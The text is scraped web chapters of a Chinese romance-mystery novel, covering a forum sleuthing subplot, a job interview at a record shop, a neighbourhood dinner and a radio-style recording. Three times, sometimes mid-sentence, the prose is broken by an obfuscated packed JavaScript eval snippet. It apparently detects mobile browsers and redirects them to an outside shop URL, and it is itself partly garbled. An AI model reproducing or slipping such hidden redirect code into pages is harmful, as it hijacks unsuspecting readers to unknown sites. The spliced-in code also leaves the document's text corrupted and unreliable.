“你明白就好,有消息我再通知你。”刚确定出“雨夜幽灵”在江安所犯的几桩旧案,李久安心情不错,直接透露,“基本上八九不离十。” 于岳望沉默片刻,煞风景:“我总觉得事情没这么简单。” “阿望,”电话那头的人闻言劝他,“我知道你在执念什么,但是娄书旭已经死了。现在已经确定了,雨夜幽灵就是杜保行!” …… 于岳望打开又一个杜保行相关贴,为的是寻找一个ID: Lune127。 一周前,于岳望在一个贴子看到这个Lune127为杜毅说话。 “万一有什么内情是你们不知道的呢?”Lune127在那个贴子里回复,“新闻不也写了吗?采访杜毅以前的战友,说他平时给人的印象是一个正直的好人。” 结果当然是被人追着狂批:“正直的好人会杀了父亲抛尸河里?” “这还需要‘内情’?你是什么畜生玩意儿,杜毅本人?” “已举报。” …… 因为案件受害人的复杂性,当时警方还没有跟公众披露实情。但于岳望已经从李久安那得知了杜保行的身份。 在他看来,Lune127显得很奇怪: 看他态度似乎是知情者?警方的人?不会吧。这么做被发现可能会涉及违纪,虽然当月只是个小论坛,而且他这番话也没透露什么,但公职人员仍不会冒这种风险。 难道是杜毅的朋友?或者是他南城那边的亲戚? 点进对方的主页,发现这人的最近留言虽少,却几乎都在讨论弑父案。 甚至关于此案的第一个贴子,都是他在两个月前发的—— “滨城出现浮尸!警情通报刚出,让大家协助认人。” 无名尸体出现不等于有案子,自杀、意外的可能性也很高。在这阶段,警方发出的协查通报都不会公布死因,只会描述死者特征,像是性别,身高,年龄,衣着等等,目的是希望有人提供线索。 因此无关者不会注意到这样的通报,更不会专门把它搬来当月。 但Lune127却发了这么个贴子,就好像两个月前他就知道,这则通报背后牵扯的是一桩凶杀。 于岳望灵光一现,复制标题搜寻有没有同样的信息。发现还真有—— 在另一个社交平台上,Lune127也发了这个贴子。 不仅如此,他还试图了解尸体状况,或者说,杜保行的死因。 “这通告竟然是有悬赏的,看样子是他杀?”Lune127在正文里写,“有没有本地的目击者来说说,尸体的致命伤是什么?” 目击者又不是法医,能看出个什么致命伤? 问题太出奇,所以回复没几个:大平台上好歹出现了几个滨城人,问哪有浮尸,八卦了几句; 像当月这种小论坛,直接石沉大海—— 要不是于岳望关注杜保行、点进Lune127的主页,根本不会发现这一贴。 出于某种嗅觉,当天晚上,于岳望就跟李久安提及此事,还问了对方一个问题: 除了头部撞击在石头上所造成的致命伤外,杜保行的尸体被发现时,有没有其他伤痕? 一周后的现在,滨城警方公布了更多内情,李久安也才紧跟着等来那边透风,在下午时给他回电话,答有其他伤痕,在后脖颈上,是处扼伤。 “扼伤?”于岳望奇怪,“怎么会呢?” 一个年轻气盛的退伍军人,若对杜保行有杀心,在极端愤怒的情况下,要扼死又瘦又矮的杜保行很容易,反而是把他推到石头上造成意外死更困难。 事实却是杜毅没有扼死杜保行,而是选择后者。这不符合一个人的行为逻辑—— 除非扼伤是另一个人所致。 于岳望跟老朋友说出自己的怀疑,然后指出: “这个Lune127就很奇怪。他提的问题,分明是想确认通报上的尸体是不是杜保行。就好像他目击过什么,或者也对杜保行做过什么。” 李久安自然知道他心里所想:“帮凶滨城那边也考虑过,因为当初法医的判断跟你一样,觉得扼伤不是杜毅造成的。后来才搞清楚:杜毅没有帮凶,扼伤是他继妹那晚反抗杜保行时留下。” 于岳望:“你的意思是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188443|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这个什么127,背后应该是杜毅最后联络的南城亲戚,”李久安说,“甚至有可能根本就是他继妹。” 说到这,他让于岳望别再深究—— “我反而希望真是他继妹。”李久安说,“那至少说明,她还有心情和勇气面对一切……在这个基础上,不打扰才是最好的做法。” …… 翻遍今天的贴子,终于在一个杜保行的揭露贴里,又看到Lune127。 有别于往日,这一次,她只留下了四个字: “大快人心。” …… 于岳望关掉电脑。 总觉得还有些蹊跷,尚没理清,隔壁先突兀地响起吵闹的乐声—— 是那首《FlyMeToTheMoon》,不仅放,还“啦啦啦”地大声跟唱,就是没一句唱在调上。 这个点了。再这么下去,小区群要开骂。 赶紧去敲旁人的门,好一阵才听到懒洋洋的应答声,竟是骂他烦人,让他别再敲。 “……我是想问你要不要洗漱?”于岳望在门外喊,“不洗的话我先洗?” “你洗啊!”声音很不耐烦。 “还有,小区老年人多,这时间很多都睡了。你音乐声关小点,你也知道这房子隔音差。” 没回应。 “蔡云深,要是……” 话还没说完,乐声停止,里面的人说话没好气:“我不听了总行吧!” 带着换洗衣物进卫生间,于岳望还没回过神: 今天他是哪得罪了隔壁的女人,怎么仿佛踩了火药桶? 离开飞燕山时,小唐和丁聪聪的事解决了个大概。照理说她应该开心才对啊? 注意力完全不在线,放空地脱了个精光,连门没锁都没发现。卫生间就在这时响起一阵急促的敲门声。 不等他回应,对方先失礼地闯进来。看到来人竟是蔡云深,于岳望一吓,灵魂出窍—— 好在双手没背叛他,条件反射地抓过衣服帮他挡住自己。 于岳望手忙脚乱:“你、你怎么能直接进来?!” “我敲了门的,”穿黑色T恤、把长发梳成高马尾的蔡云深异常平静,声调比平时低沉,连目光都不带移开,直盯着他:“之前在残梦买的书呢?” “在你房间书架上啊?!”于岳望狼狈,“还有,你、转过去!” 女人嘁了一声,缓慢转身,声色依然平淡—— “我说的不是《盛夏的果实》,而是那本《香水》。” 于岳望抓狂地穿裤子:“都跟你说过那本家里有了!” “你确定,你是跟我说的?” 听到这句话,穿戴好的男人怔住。 见他半天没回应,女人催促:“别发呆好吗?歌不让我听,书总能让我看吧?”说着不耐烦地回头,“你知道的,我赶时间!” 于岳望皱眉头。 带着女人进自己卧室,把《香水》找给她。转头就见她四处打量,一点不见外,还评价: “真乱啊!” 于岳望只庆幸自己关了电脑。 接过书后,女人满意:“行了,你洗澡去吧!”见他一脸担忧,又补充,“放心,我不会拿回书房。我在客厅看,要是蔡云深醒过来,我就把书丢一旁,她问起你就说是你扔那的。” 后路找好了,于岳望还是没法“放心”。最终又跟去客厅。 想再唠叨几句,先见这人直挠胳膊。见他过来,跟他抱怨—— “看吧!我就说会发荨麻疹!” 女人说着朝他抬手: 刚才还平滑雪白的肌肤上,此刻凸起一条条鱼鳞状的红包。 “一换季就这个鬼样子。”女人烦恼,问于岳望,“过敏药呢?你可别跟我说你没买。” “……买是买了。” “算你靠得住,先带我去吃药!”女人火急火燎催促他—— “快点啊,大叔!” 28. 进偏财 九月第一天,蔡云深早起过客厅,见许江在小花园里跨着马步,只为拍一朵玫瑰。 金雨虹说,701不少花都是妈妈帮着种下。 现在,许江打理它们。 她是有一点迟钝,竟然才注意到父亲卧室的窗就对着花园。 “妹妹,”见她起来了,许江唤她,“今天天气好,你有衣服要洗吗?有就拿出来凑一锅!” 什么“凑一锅”啊。 但他想表达什么,蔡云深理解。 回书房把衣物抱洗衣机旁,蹲下开滚筒,先见一件面熟的深蓝色短袖。 这个于岳望,同样的T恤能买两件一样的。除了英文字母不同—— 之前那件是‘Don''tworry’,而这件则是‘Behappy’。 在原地愣了须臾,蔡云深再次抓住记忆碎片,破解了又一个既视感—— 那张一男一女坐沙滩上的专辑出自《悠长假期》! 20多年前的老剧,‘Don''tworry,behappy’是里面很有名的一句台词。小时候妈妈租光碟回来,但她太小,跟着看了也不记得。只记得许江永远指着木村拓哉的脸说,“这个村上春树”如何如何,而妈妈在笑着。 后来进大学,才把这片拿出来重补。看的时候她想,要是蔡美仙在。 把洗衣机摁开后,蔡云深回客厅,若有所思地走进开满玫瑰的花园。 见到她来,许江给她展示自己刚拍的照片。 蔡云深看着看着,突然留意到时间: “都9点了,你怎么还在家?” 许江:“不在家我在哪?” “上班啊!” “妹妹,今天星期六!”许江说她,“年纪轻轻的就搞不清楚日子,我看你也不记得我们说好周末要换房间了!” 蔡云深看看眼前的玫瑰:“不用换了。” 许江:“不用吗?” “嗯,我喜欢我房间那个阳台,可以看到日出,晚上还能看到月亮。” 就像你应该也喜欢你的房间,可以看到花园。 许江果然开心:“那就不换!正好我也嫌麻烦。”说着跟她确定,“安心住这了?” “住啊,”明明对701已经生了感情,嘴却是硬的,“不然我能去哪?” 话说定了,是时候问问房租。得到的答案出乎她意料: “以后这个家的水电气,你交。” ? 这是什么新型收租法? 一问许江的房租,那更复杂: 他负责置办食材,并按归凤婆婆的老规矩在701做家常菜,每客每餐收的10块算他的。 “有时候控制得好,还能赚点,”许江得意洋洋。 “赚什么赚,”蔡云深指出症结,“你自己的人工不算钱?” “哪能那么算?”许江驳斥她,“我本来就喜欢做菜,做自己的菜是做,做大家的菜也是做!而且阿望他自己也给我交餐费。” 蔡云深这下惊讶了:“房东给你这个房客交钱?” 许江:“那怎么了,不是你说的吗,我人工算钱!” 那于岳望的人工呢?他洗碗,做卫生,还帮忙备菜。 “那福娃还从他家菜园子摘菜给我,他妈馒头包子自己发,酱油豆瓣酱自己做,也都拿来;刘阿姨和你向叔叔也是,他们两个不喜欢开火,时不时提着卤味来,还带着酒;还有陶叔叔……” 噼里啪啦一大堆,无非是说,邻里三四谁不是连拿带送,但全都餐费照给。他也时不时回礼,有什么好吃的,好用的,都带给老邻居。 “这些人情往来也不是才兴的,归凤婆婆给定的型。”许江说,“你要算账?那是算不清楚的。” ……行吧。大家开心就好。 “还有啊,阿望说了,你失业期间,房租照半价付。” ?第一次听说房租还带优惠? 瞬间想起于岳望那句,对你,打骨折。 蔡云深感叹:“看来这位伟大的鸡场主、维修公司总裁、两套房产拥有者,确实是不缺钱用。”那么问题来了,“他为什么对我们这么好?” “不是对我们才这样,”许江告诉她,“以前丁威他们来住701,也没交什么钱。因为丁威她妈过意不去,归凤奶奶才象征性收了点。” 一言以蔽之:“反正在天心,你安心住,暂时不找工作也没问题,”许江跟她讲,“别忘了,还有云深基金给你保着。” 十八岁那年,许江经她同意动用了她的压岁钱买股票。一年后进大学,又拿了三个代码来让她挑。 蔡云深当年随手勾了一个—— 挑中贵州茅台。 到现在具体赚了多少不知道,反正按许江的说法,够她躺平两三年。 “所以现阶段对你而言,赚钱事小,健康事大!” 听许江这么念叨,蔡云深都不敢告诉他自己下午要去哪—— 几小时后,她出现在音像店。 前晚打飞燕山回来,蔡云深睡得早。翌日起来就开始研究残梦音像的招聘,投了简历。 本以为至少周一才有音信,哪想到当天下午就有人回复,问她方不方便明天面试。 面试在周六,本身就够奇了,地点还选在音像店。时间也悠闲,定在四点半,就像是要跟她喝个下午茶。 蔡云深提前五分钟到达,小心翼翼给对方传信息。居然立刻就收到回复: “看到你了。” 一抬头,只见书架旁那个座位,一个中年女人正对她招手。 女人装扮雅致,一双凤眼带着愁容的美,令她看上去像个疲惫的旅者。但目光又出奇明亮。 她介绍说自己名叫年秋,是残梦音像的创始人。又告诉她周六面试,并不等于需要996。相反公司小,节奏很佛系。 蔡云深没想到,今天来见自己的居然是老板本人。随后就听年秋道,看到她的简历,她很惊讶。碰巧今天有事要过来,就想顺道见见—— “反正你人住天心,过来应该很方便。” ?她什么时候在简历上写过住址? 见她满脸疑虑,年秋把话说破: “你妈妈是蔡美仙,爸爸是许江,对吧?”她笑,“我们很久以前见过的,而且我知道你最近回天心,就住在701。” 女人说到这,才介绍起自己的另一重身份—— “你现在的房东于岳望是我外甥,我是他小姨。” * 半小时后面试结束,蔡云深出音像店。确定转角后对方看不到,她才蹦着跳着去公交站。 有戏! 从简历要求开始,她就觉得残梦很特别: 除了罗列工作经验,还要求应聘者附上自己最喜欢的三张唱片,并且简述原因。 从这里就感觉对味,跟别提今天跟年秋的交流堪称丝滑: 一开始年秋问,看她颇有经验,技能也突出,怎么会申请兼职? 她们之所以发布这个岗位,是因为眼下残梦要做新企划,新媒体岗添一个人嫌多,不添又忙不过来,所以打算招个兼职生,把已有的工作分担一些,扛一个月就好,薪资也开得低。按蔡云深的履历,实在大材小用。 蔡云深如实相告,说她反而是因为看到这个岗位只做一个月,一周还只需三天到岗,接受灵活办公,才来的。因为她最近身体不好,属于何时住进医院都不奇怪的状态。但是一个月,她又觉得自己能坚持下来。 年秋心里有数了,不再继续这话题,转而聊起蔡云深喜欢的唱片。之后又问她平时用什么平台听歌。 蔡云深只觉知己难逢,直接把自己的静音账号找出来给年秋过目—— 包括她写的乐评和做的那些歌单。 年秋眼前一亮,并且很快注意到: “你跟山风居然是互关的?” 蔡云深脑海中下意识浮现某人的脸,强作镇定: “是,不过那是在他消失前。” 话说到这,她忍不住问:“其实,我想知道山风,……”欲言又止。 年秋似乎是听过太多人问她这问题:“想知道山风为什么不写歌了?” “不,”蔡云深说,“想知道他是不是还活着。” 年秋闻言笑开:“真是有趣的问法,”女人笑起来连愁云都消散,“下次见到那家伙,我一定把你的问题转述给他!” 又沟通了一阵。最后,赚足她好感度的女人跟她摊牌: “你的身体状况确实是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197227|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棘手的问题,要是我冒险聘用你,你突然不能来了,我还得临时再找人。”年秋直言,“但无论是你写的乐评,还是你给前公司做的那些视频,都远远超过了我们对这个职位的要求。我就在想,要不,我们都做点改变?” 女人说,他们现在在做的新策划里,包含一档视频节目。想做成复古电台的形式,把旗下艺人的作品都串联进去。接着又告诉了她理想的形式。 “我看你不同主题的歌单,觉得你是有想法的。要不试试在这些歌单的基础上,做一个我说的那种视频?不用太长,十分钟,串两三首歌。我想看看你做出来是什么效果。”年秋建议—— “要是达到预期,那么接下里的时间,你就先来上班——我是说每天都来。你不是说现在状态还好吗?那就趁着这个时间,帮我们推推工时;这样后期就算你坚持不住,也不会耽误进度。” “当然,工资也会按你最终出息的天数来调整。项目做完后,如果你身体依然坚持,那我们还能长期合作,”女人朝她抛橄榄枝—— “只要你交出的视频能让我满意。” …… 蔡云深满怀期待地看车窗外。 复古电台?那可太对她胃口了。少年时代看的那些音乐节目,同样怀念的人还有她。 心蠢蠢欲动,甚至觉得今晚就可以开工,就在这时发现窗外是打狂犬疫苗的医院—— 那棵死掉大树的位置上,新苗已然栽种。 出神地盯着新栽的树,手机作响。 “云深姐!”来电的竟是福娃,“什么时候你有空,我们两个吃饭去吧?”上来就邀约,“找江安最好的餐厅,2500一顿那种!我请客!” 蔡云深不明就里:“你请我?还吃那么贵的?” “对啊!”这人说,“我就是想挥霍!” 原来不久前,警方又联系了他:骆霞骗走的那些钱居然被他们追回了。 蔡云深不得不再次感叹福娃buff:“你运气也太好了吧?这种钱一般很难拿回来的!但你为什么要挥霍?留着慢慢用不好吗?” “不好!”福娃痛苦地说,“一想到这些钱经过那个老头子的手,我就想吐,留不了一点!这事只有你知道,所以就你了,陪我分担!” 蔡云深想了想:“经骆霞手的钱你不行,那么经我手的东西,你可以接受吗?” “当然可以了!”那边情绪激动,“你跟他能一样?” “那我有个提议。……” 从公交车下来,蔡云深喜滋滋扫共享单车。 人逢喜事精神爽,骑上车子,她脚底生风,越蹬越有劲,总觉得自己这是要触底反弹,即将起飞—— 然后,她真的飞了起来—— 连人带车。 …… 蔡云深一瘸一拐把车扶到一旁关锁,然后满心怨念地回头,狠瞪路上的大坑。 果然,运气是守恒的。眼看工作有望、还即将进一笔偏财,她就大摔一跤。连墨镜都摔坏。 怒拨12345。一边反映情况,一边拖着瘸腿过彩桥。 日近黄昏,桥头的下午场已然开摆:卖菜的,卖卤味的,卖炒饭的,还有这样那样的小玩意儿…… 不得不说,这天心虽破,有一样东西却远胜大都市, 那就是人情味、烟火气。 电话打完,蔡云深见有人卖西瓜。 “美女,买瓜吗?” 蔡云深:“买!” “好嘞!”小贩熟练地挑瓜上称。 正准备付钱,身后有人猛按喇叭。车窗下摇,于岳望探头—— “给她换个甜的!” “是阿望的朋友啊!” 小贩一边招呼,一边果然另找了一个。 莫名其妙地接过瓜,于岳望招呼她上车。 “墨镜怎么坏了?”上去就问她。 “摔了一跤。” 霉馊馊答完,蔡云深表扬男人:“你出现得正是时候,不然等我回家,天都黑了。” 于岳望看看她,感叹:“你还真是……” 蔡云深被谁念都可以,唯独不想被眼前这个人说: “不许你说我倒霉!” “……还真是励志啊。”男人转而说。 29. 新与旧 Dont 蔡云深听完就笑了,“那确实,看我,被生活揍得鼻青脸肿、一瘸一拐,还是阔步向前。” 她是说笑话,男人却没动静。笑点不一致的人,可连朋友都没法做。 说起来,这事多少得怨他:“我刚才打了12345。” 于岳望:“打那个做什么?” “填坑啊!”蔡云深说,“要是你之前摔跤的时候就打电话让人把坑填了,我今天这跤也摔不下去。” “所以我马上就来了。” 什么意思?“你看到我摔跤了?” “嗯,”这人答,“飞得那么高。” 要不是他在开车,真想给他个肘击。 对了,“你怎么知道刚才那个瓜不甜?” “看个头就知道,”好像什么都懂一点的于岳望说,“你手里这个包甜。” “人还怪好的,”蔡云深挖苦某最怕麻烦的人,“路见不甜,出声相助。” “难不成看着你抱个白水瓜回去?”于岳望一边开车一边说,“我也要吃的。” 蔡云深:“谁说要给你吃了?” 于岳望:“那么大个瓜你一个人吃?” “我吃得下!” 这话哪里好笑?他却笑了。 蔡云深懒得理他,扭头欣赏美景: 窗外是落日时分,相思河在金色云霞的映照下汩汩流淌,映出万丈波光。 正在沉醉,就听于岳望说: “对了,小鸭子出生了。” 蔡云深:“什么小鸭子?” 于岳望也不答,只是把车开回小区。停好了车才拿手机出来发照片给她,说是大王光头下午拍的。 蔡云深一看,原来是飞燕山、溪谷上。那天在野外偶遇的、在她看来脆弱无比的鸭蛋,竟然没有烂作尘泥,而是变成了一窝小鸭。 “居然真的孵出来了!”感慨之余,马上心生惭愧,跟于岳望检讨,“要是那天我把蛋捡走,鸭妈妈是真会难过的……天啦,真希望它们能好好长大!” “肯定要长大啊,”于岳望在旁看着照片说,“不长大怎么做老鸭汤。” 蔡云深瞬间幻灭。 “你这样跟吃咸鸭蛋有什么区别?”不禁出声谴责他,“趁它们是鸭蛋时吃,至少还没有痛觉!” “当然有区别,”于岳望答,“虽然是会有痛觉,但我还是觉得活过更好。” 蔡云深万没想到眼前人会说出这样的话,还在心里回味,就听他催促,让她下车验货。 丈二摸不着头脑地开门,就见炫目的夕辉,赫然停着她那台二手车—— 这个夏天,在异乡失去了很多。开车回家,却连车也被撞坏。一棵大叔在暴雨里死掉,还发生了一场地震。 但是现在,震荡结束。新苗在旧地种下,她的车修好了。还有河谷之中,一窝小鸭子刚出生。 人其实是很盲目乐观的生物。比如此刻,她想幸好,在风雨飘摇那天,她逃过了死亡的诱惑,没有从宛如漩涡一般的窗口跳下去。才能在这个时候,迎接像这样无比平凡、却又如此美丽的黄昏。 世界依然美好,新旧仍在轮替。 而她,要跟眼前这辆车告别。 “你要把它送给福娃?” 蔡云深:“不是送,是交换。”她解释,“他不想要钱,而我不想要车。” 钱跟车上,各自藏着一段他们想要挥别的过去。自己留着扎心,换给对方却正好。 “哦,”不知内情的于岳望只理解成,“是你卖给他。” 蔡云深也不解释,只满意地朝七单元去。就是这时,看见小花园里晾晒的衣物—— Don''tworry,behappy. 终于,她有了跟身旁人聊一部剧的冲动。 “你那件深蓝色睡衣,不是那个很老的电视剧吗?” 没头没尾的问题,于岳望却听懂了。看着夕阳里迎风飘摇的短袖衫,他答是啊—— “《悠长假期》。” 频率对上,蔡云深开心地跟男人进门洞,追着他开玩笑: “我也看过那个,”她装傻,“村上春树演的。” 于岳望闻言果然笑开—— 真难得,笑点一致。 到家,两只小狗先出来热情迎接。随后是从厨房出来的许江: “回来得正好!”他招呼,“快来搭把手,今晚客人多!” …… 这夜701又开大餐,饭前大家碰杯。 食客登门,喝酒的名头永远不会少—— “九月快乐!敬秋天!” “敬美好的周末!” “敬刘琴同志,还有两个月就要光荣退休,坚持就是胜利!” “敬……新年快乐?” “哈哈哈哈,新年快乐你个头啊!” …… 在一片笑声中,蔡云深跟着仰头喝雪碧。 要不是眼睛还没恢复,她也想喝小酌怡情。但最后还是决定算了,谨遵医嘱更保险。 正是这个选择,让她今夜从头清醒到最后,全面见识了各位醉酒的风采。 先从酒至中场、已经喝了的福娃开始。他一个兴起就离桌,跑去抱起露娜狂亲。 从男人怀里救出已经不耐烦到发凶声的小狗,追出来的蔡云深无语: “罗星灿,你够了!” “哇,你又叫我本名了诶,姐。” 傻笑完,这人又去骚扰小虎。 回来就听向叔叔在指点国际大势。说到什么都是那句—— “我还能不知道?” 难得他的嘴愿意歇歇,蔡云深给他添酒,突然抽问: “向叔叔,你知不知道木村拓哉?” 无所不知的向叔叔人都懵了:“谁?” 在一旁的许江却秒懂,跟老向解释:“就是那个村上春树啊!” 蔡云深会心一笑。 向叔叔虽然听不明白,但看得懂: “你们两父女,对暗号呢?” 然后是陶叔叔,年轻时外号“奶油小生”,现在这四个字也就剩个“油”保真。 但他说话仍是当年那味道,声音细气、文质彬彬。此刻喝多了,战战巍巍站起来: “接下来选物业,你们得支持我老婆啊!我陶笛先干为敬!”说完一口闷。 刘阿姨:“平时说个话碍口识羞,今天敬起酒来了?阵仗搞这么大,还以为你老婆要选美国总统!” …… 最后是明明喝不了白的、今天却哐哐下肚的于岳望。此刻满脸通红、即将不省人事,被两个叔叔架沙发上。 “阿望这小子今天怎么了,”一个说,“什么事这么开心?” “不清楚啊,”另一个研究,“你看他,黑眼圈都淡了。” 蔡云深突然出现,在旁托个下巴跟人一起观察: “大概是因为知道我面试顺利吧。” “妹妹你去面试啦?”向叔叔顺口问,“什么公司啊?” 蔡云深生怕某某听不清楚:“残梦音像。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210228|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “残梦音像?”向叔叔指酒醉的人,“那不是他小姨开的?” 蔡云深还没应声,于岳望先垂死病中惊坐起: “什么残梦?”他怒问,“蔡云深,你不是答应我……” 蔡云深保持笑意,把人摁回沙发:“叔叔你们先去喝,他交给我就好。”说着拿靠背捂男人,“看我让他秒睡。” 叔叔们怕了:“你悠着点啊……可别下死手……” …… 一刻钟后,眼看酒席还要继续的蔡云深悄悄离席。 人多事杂,肚子又饱,整一个昏头转向。出门吹一阵晚风,才清醒了些许。 蔡云深手拿笔记本电脑,以及从许江那讨来钥匙,独自往灰楼去。 入夜的灰楼更加漆黑,摸到楼道,终于有声控灯。 蔡云深狠狠跺脚。 灯亮了,又看见那些涂鸦。试着找回那句对于岳望的吐槽,先见到那句“龙见到此一游”。 今日光照足,才发现“龙见”和“到此一游”字体不同。“龙见”张牙舞爪,“到此一游”则纤细许多。 再一看,那“龙见”分明是后来写上去的。被涂掉的是三个字。只有姓能隐约看得到: 是个“米”字。 碰巧她之前辨标牌有了经验,一下就想到,这或许也是个偏旁—— 被遮掉的姓氏,是“娄”。 刚得出这个结论,声控灯熄灭。 在黑暗笼罩的那几秒里,蔡云深仿佛又坠入了一条深不见底的河。这让她开始认真地觉得,某一个前世,她一定是在河水里溺毙过。 上楼。 蔡云深打开杂物间,摁亮灯。 灰楼很安静,虽然房子旧,但隔音比新盖的白宫不知好多少。 下午从年秋那接下“考核”的时候,她就想到,这里其实是个非常适合录音的地方。 用五分钟,讲一首歌,以旧日电台的形式…… 心中有感,事情便做得顺手。很快文案搞定,接着试录。再把音乐串进去看看时间,正好是五分钟左右。 之后只需要剪辑对应的视频就可以。但她总觉得,还缺点怀旧感。 那么,把音频替换成磁带播放怎么样? 除了歌曲本身,把打开仓门、放进磁带、摁播放键所发出的机械声,也一并用进去。 这样,应该能增添一些旧日味道。 蔡云深看向上铺的收纳盒,那里有她需要的磁带和录音机。 看来,要跟于岳望借用一下。但也不急,今天就这样吧。明天继续。 刚想到某某,他的电话就到。 蔡云深优雅摁下接听—— “喂?” “你去哪了?”男人一来就问。 蔡云深卖关子:“小区里啊。” “小区哪里?”那边醉醺醺,“我有事找你。” 蔡云深知道这人八成是要跟她讨人情债: “那你找得到再说。” 挂电话后气定神闲地收尾,那边倒也没再来电。 结束所有保存,蔡云深关机,连电脑也留这直接走。 刚出门,就听楼下中气十足的一声—— “亮!” 整一栋的声控灯全被他唤醒。 蔡云深心中好笑,在一片光明中下楼。到二楼楼道,跟抱着两条狗爬楼的人碰上面,她终于忍俊不禁—— 此时此刻,男人正一脸怨念地看着她,旁边墙上还自带注释, “于岳望是大ben旦。” 30. 夏终结 这个人怎么又自曝啊?搞得她都不知说什么好。 但蔡云深接着就想,没读大学,也不影响他现在维修、养鸡、接委托啊? 就像她,读了大学该待业时还是待业。 文凭很重要,但文凭不等于全部。一个人的起伏、故事和过往凭何决定,有时很难讲。 以前在滨城,租的小区出来是工地。每天上班她路过时,都能看到机械臂在天空挥舞、吊运建材。 某一天,她突然升起一种古怪的想法,觉得每个人都悬在天地间,灵魂需要被强有力的抓手刺破、钩住,才能跟这个世界紧紧关联。否则就会散作千羽,消失在风中。 就是那时,她发现自己就像一捧空洞的苇草,没有只属于自己的意志,动机或者梦想; 她与世界的连接处,写的竟然是“他人”二字。 过度助人是病,她是患者,只有因为别人忍让、付出和贡献的时候,她才感受到自己。 这很畸形。 人们都说性格的养成,跟原生家庭有关。那她是怎么回事。在一个幸福美满的家里长大,却这样丧失自我,甚至一度为人渣轻生。即使现在,她成长了、改变了,自我厌恶依然如影随形,每当她看向镜子,它就伺机而出,像蛇或者藤蔓将她缠绕—— 真希望自己变成透明色。 可是,蔡美仙和许江明明给了她很多爱。 胡思乱想间,回到701。宾客早散尽,于岳望这家伙甚至是把碗筷都洗净才出来的。 今后要跟他分分工,不然她很难受—— 看吧,对于他人,她总是觉得亏欠。 刚想开口,于岳望先想起来:“差点忘了,有个东西给你。” 拿来一个信封,“小唐给你的。” 蔡云深接过打开,里面竟是钱和一张便签。 正想看,就发现在旁边跃跃欲试。 “干什么?”直接说他,“非礼勿视,懂吗?” 男人闻言马上抗议:“什么?你居然说我非……”随即无奈,“算了,跟你说不清楚!”说完走开。 剩蔡云深一个人,她才把便签拿出来细看。 字很娟秀,这年头还留亲笔信并懂得取现金的小孩,很少见。所以才说她细腻呢: 小唐写,知道直接给她,她一定不收,所以把钱留在了天心酒楼,麻烦前台带给于叔叔转交。 这两天大家陪她吃吃喝喝、车来车往,都要花费。她虽然年纪小,但不等于不懂人情世故。 还说她家什么没有,就是有钱。这钱不收,大家就不是朋友。虽然她不希望这样,因为明年暑假,等她高三毕业,还想来找云深姐姐一起去看泰川的演唱会。 …… 蔡云深心生暖意。 真是人小鬼大。看来这钱就算她想转回,小唐应该也不会收。 但不该全是她的呀?饭是在养鸡场吃的,车马是于岳望出的,而且暗黑就是丁聪聪这个重要信息也是他提供…… 蔡云深叫出男人。 “这个你拿着!” 于岳望:“?给我干嘛?” 蔡云深:“小唐给的辛苦费,你也该有一半。” 于岳望却拒绝:“委托又不是我接的,这钱我不要。” “怎么能这么算?”蔡云深追转身离开的人,“快收下!” 男人借酒犯倔:“说了不要就不要!”一边说一边往他卧室去,还醉言醉语,扯什么—— “愧疚是这个世界上最可怕的牢笼!我要你住进去!这样你兑现人情的时候才不会反水!” 说完门啪的一声关上。 蔡云深怔在走廊上,心想怪了, 怎么今天尽遇上跟钱过不去的男人? 福娃不想碰钱的理由,她还勉强能理解,于岳望这发的是哪门子酒疯? 什么愧疚、牢笼的,难不成还想关她一辈子? 蓦地想起前阵子看星运,说她月末进偏财。 现在偏财还真来了:一天两笔。但今天刚九月,这算准,还是不准呢? 哎呀,不管了…… 洗澡! 几十分钟后,蔡云深躺床。 睡前无事,把在灰楼完成的录音拿出来回听,看看有没有问题—— 年秋要求她用5分钟讲清楚一首歌,她的选择是《盛夏的果实》。 讲歌手,专辑,风格,年代;讲它的原版,编曲差异,歌词…… 讲感受。 “以前我不明白,为什么‘也许放弃,才能靠近你’。放弃是渐远,都跟你作别了,我要如何靠近你? 但是最近,我很不幸地明白了这种感受,才发现《盛夏的果实》是一首很可怜的歌。爱情离开时,还留在原地的人是受难者。这首歌就是受难者的歌。还期待,还渴求,还骗自己只要不再见,你就能把我记起。 现实却不是这样。现实中,一段关系结束就是结束,就像一棵树被暴雨折断。看不见流血,但它死掉了。不是翻修就能复生,只能用另一株代替。 那么,我也不要再回头。即使这一刻,我比任何时候都靠近你。” …… 蔡云深打开微信,找出那个熟悉到刻骨铭心的姓名。 对这个人爱过,也恨过。现在打算放下。 不想装大度,但更不想继续拉黑,让他就此成为她的死结。把他转出黑名单。 